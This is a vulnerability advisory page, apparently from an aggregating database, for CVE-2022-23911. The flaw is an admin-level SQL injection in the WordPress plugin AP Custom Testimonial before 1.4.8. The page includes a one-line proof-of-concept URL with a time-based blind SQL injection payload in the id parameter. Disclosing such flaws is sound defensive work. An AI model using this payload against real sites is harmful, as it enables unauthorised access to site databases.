Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpvulndbRafael CastilhoWPVDB-ID:77FD6749-4FB2-48FA-A191-437B442F28E9
HistoryJan 25, 2022 - 12:00 a.m.

AP Custom Testimonial < 1.4.8 - Admin+ SQL Injection

2022-01-2500:00:00
Rafael Castilho
wpscan.com
3
wordpress
plugin
security
sql injection
admin
vulnerability

EPSS

0.001

Percentile

36.7%

JSON

The plugin does not validate and escape the id parameter before using it in a SQL statement when retrieving a testimonial to edit, leading to a SQL Injection

PoC

https://example.com/wp-admin/admin.php?page=apct_testimonial_edit&amp;id;=1+AND+(SELECT+42+FROM+(SELECT(SLEEP(5)))b)

Related

cnvd 1
patchstack 1
cvelist 1
nvd 1
prion 1
cve 1
wpexploit 1
cnvd
cnvd
WordPress Testimonial Plugin SQL Injection Vulnerability
2022-03-02 00:00:00
patchstack
patchstack
WordPress AP Custom Testimonial plugin <= 1.4.7 - SQL Injection (SQLi) vulnerability
2022-01-25 00:00:00
cvelist
cvelist
CVE-2022-23911 AP Custom Testimonial < 1.4.8 - Admin+ SQL Injection
2022-02-28 09:06:57
nvd
nvd
CVE-2022-23911
2022-02-28 09:15:09
prion
prion
Sql injection
2022-02-28 09:15:00
cve
cve
CVE-2022-23911
2022-02-28 09:15:09
wpexploit
wpexploit
AP Custom Testimonial < 1.4.8 - Admin+ SQL Injection
2022-01-25 00:00:00

EPSS

0.001

Percentile

36.7%

JSON
Related for WPVDB-ID:77FD6749-4FB2-48FA-A191-437B442F28E9
cnvd1patchstack1cvelist1nvd1prion1cve1wpexploit1